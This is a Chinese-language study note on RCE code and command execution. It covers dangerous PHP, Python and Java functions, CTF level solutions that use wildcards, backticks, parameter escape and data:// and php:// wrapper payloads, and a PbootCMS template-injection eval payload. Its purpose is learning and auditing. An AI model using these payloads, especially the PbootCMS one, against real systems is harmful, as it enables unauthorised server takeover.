代码执行:脚本执行代码
命令执行:脚本执行命令
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
#RCE-原理&探针&利用&危害等
举例:
<?php
//eval代码执行
eval(‘phpinfo();’);
//system命令执行
system(‘ipconfig’);
?>
-RCE代码执行:引用脚本代码解析执行
-RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等
system、shell_exec、popen、passthru、proc_open等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
#CTF-29~39-RCE代码命令执行
29-通配符
system(‘tac fla*.php’);
30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`; //注意到,反引号“ ` ` ”代表里面的内容是执行,好比使用了system命令,当system被过滤时可以考虑使用反引号。
echo shell_exec(‘tac fla*.ph*’);
31-参数逃逸 //比如代码对参数x过滤很严格,我们可以尝试构建新的参数来实现逃逸,如下代码:
eval($_GET[1]);&1=system(‘tac flag.php’); //高亮处是被过滤检查部分,我们实际使用的代码在另一处不被过滤实现逃逸。
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system(‘tac flag.php’);?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含&伪协议&通配符
data://text/plain,<?=system(‘tac fla*’);?> //使用了伪协议
php://input post:<?php system(‘tac flag.php’);?>
#代码审计-PbootCMS-RCE代码执行 //白盒审计思路就是找到会产生RCE漏洞的特定函数,下面的笔记是借鉴迪总的,看课程的时候没有太理解,希望后期代码审计的时候可以更好的体会。
流程:搜索特定函数->parserIfLabel->parserCommom->About&Content->构造
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
#层面-探针-语言&CMS框架&中间件:
rce漏洞不仅在源码出现,也会在跟配套程序中出现。跟别的WEB漏洞区别是,之前的WEB漏洞只有在网站上有,而RCE漏洞还会产生在中间件等其他地方
http://vulfocus.io/ Shiro weblogic
在下面的网站可以尝试利用payload
https://github.com/payloadbox/command-injection-payload-list